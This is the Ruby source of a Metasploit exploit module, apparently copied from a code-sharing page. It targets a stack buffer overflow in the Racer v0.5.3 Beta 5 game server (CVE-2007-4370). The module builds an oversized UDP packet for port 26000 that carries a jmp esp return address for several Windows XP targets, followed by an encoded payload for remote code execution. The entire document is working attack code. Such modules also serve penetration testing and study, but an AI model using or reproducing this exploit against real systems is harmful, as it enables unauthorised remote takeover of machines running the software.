Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::Udp
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'Racer v0.5.3 Beta 5 Buffer Overflow',
14
      'Description'    => %q{
15
          This module exploits the Racer Car and Racing Simulator game
16
        versions v0.5.3 beta 5 and earlier. Both the client and server listen
17
        on UDP port 26000. By sending an overly long buffer we are able to
18
        execute arbitrary code remotely.
19
      },
20
      'Author'         => [ 'Trancek <trancek[at]yashira.org>' ],
21
      'License'        => MSF_LICENSE,
22
      'References'     =>
23
        [
24
          [ 'CVE', '2007-4370' ],
25
          [ 'OSVDB', '39601' ],
26
          [ 'EDB', '4283' ],
27
          [ 'BID', '25297' ],
28
        ],
29
      'Payload'        =>
30
        {
31
          'Space'    => 1000,
32
          'BadChars' => "\x5c\x00",
33
          'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
34
        },
35
      'DefaultOptions' =>
36
        {
37
          'AllowWin32SEH' => true
38
        },
39
      'Platform'       => 'win',
40
      'Targets'        =>
41
        [
42
          # Tested ok aushack 20090503
43
          [ 'Fmodex.dll - Universal', { 'Ret' => 0x10073FB7 } ], # jmp esp
44
          [ 'Win XP SP2 English', { 'Ret' => 0x77d8af0a } ],
45
          [ 'Win XP SP2 Spanish', { 'Ret' => 0x7c951eed } ],
46
        ],
47
      'DisclosureDate' => '2008-08-10',
48
      'DefaultTarget' => 0))
49

50
    register_options(
51
      [
52
        Opt::RPORT(26000)
53
      ])
54
  end
55

56
  def exploit
57
    connect_udp
58

59
    buf = Rex::Text.rand_text_alphanumeric(1001)
60
    buf << [target.ret].pack('V')
61
    buf << payload.encoded
62
    buf << Rex::Text.rand_text_alphanumeric(1196 - payload.encoded.length)
63

64
    udp_sock.put(buf)
65

66
    handler
67
    disconnect_udp
68
  end
69
end
70

71